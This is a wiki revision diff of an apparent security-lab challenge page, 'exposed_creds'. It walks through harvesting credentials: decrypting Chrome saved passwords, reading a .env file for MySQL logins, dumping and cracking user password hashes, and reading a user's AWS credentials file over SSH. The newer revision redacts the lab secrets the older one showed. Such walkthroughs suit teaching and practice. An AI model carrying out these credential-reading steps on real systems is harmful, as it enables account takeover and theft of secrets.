Unterschiede

Hier werden die Unterschiede zwischen zwei Versionen angezeigt.

--- security:challenge:exposed_creds [2021/06/26 13:08] – wikiadm
+++ security:challenge:exposed_creds [2021/07/03 15:50] (aktuell) – wikiadm
@@ Zeile 1: / Zeile 1: @@
-====== Start Reverse Shell Listener ======
+====== Find Garry's Password ======
+==== Start Reverse Shell Listener ====
 <code>
 root@kali$
@@ Zeile 36: / Zeile 37: @@
       #sqlite3 Login\ Data 'select username_value, password_value from logins;'
 ./get_chrome_pass.py
-   Decrypting the string: b'v10\xa1$z\xb0\x18\xee+\xbbMG\xe0\x0bM\x13\x7fA'
+   Decrypting the string: b'v...'
-   blokeontherange
+   b...e
 </code>
@@ Zeile 47: / Zeile 48: @@
-==== Find Bobs Password ====
+====== Find Bob's Password ======
 <code>
 garry@server-intern$
@@ Zeile 53: / Zeile 54: @@
 cat /var/www/app/.env
-MYSQL_ROOT_PASSWORD=tiger
+MYSQL_ROOT_PASSWORD=t..r
-MYSQL_USER=docker
+MYSQL_USER=d..r
-MYSQL_PASSWORD=docker
+MYSQL_PASSWORD=xxx
-MYSQL_DATABASE=docker
+MYSQL_DATABASE=xxx
 cat /var/www/app/www/conf.php
@@ Zeile 77: / Zeile 78: @@
 mysql -h 192.168.6.105 -u root -p intern
--> tiger
+-> t..r
 mysql> select * from users;
@@ Zeile 83: / Zeile 84: @@
 | id | username | password                         | created_at          |
 +----+----------+----------------------------------+---------------------+
-|  1 | bob      | cc185f2d749c0beca19e9bcaadedfbb0 | 2021-06-26 10:35:43 |
+|  1 | bob      | xxx | 2021-06-26 10:35:43 |
-|  2 | garry    | 8a6ed31d1f6370478b943133efeac70a | 2021-06-26 10:35:43 |
+|  2 | garry    | xxx | 2021-06-26 10:35:43 |
 +----+----------+----------------------------------+---------------------+
 google for hash
---> bob7
+--> b..7
 </code>
-==== Find AWS Keys ====
+====== Find AWS Keys ======
 <code>
 garry@server-intern$
 ssh bob@192.168.6.22
-cd /home/bob/.aws
+cat /home/bob/.aws/credentials
-cat cat credentials
 [default]
-aws_access_key_id = AJOWNVKJSFHOQSDK2JD9T
+aws_access_key_id = xxx
-aws_secret_access_key = IT7mJcNJIZSb60p/J12aJOC4DVUUrH5f
+aws_secret_access_key = xxx
 </code>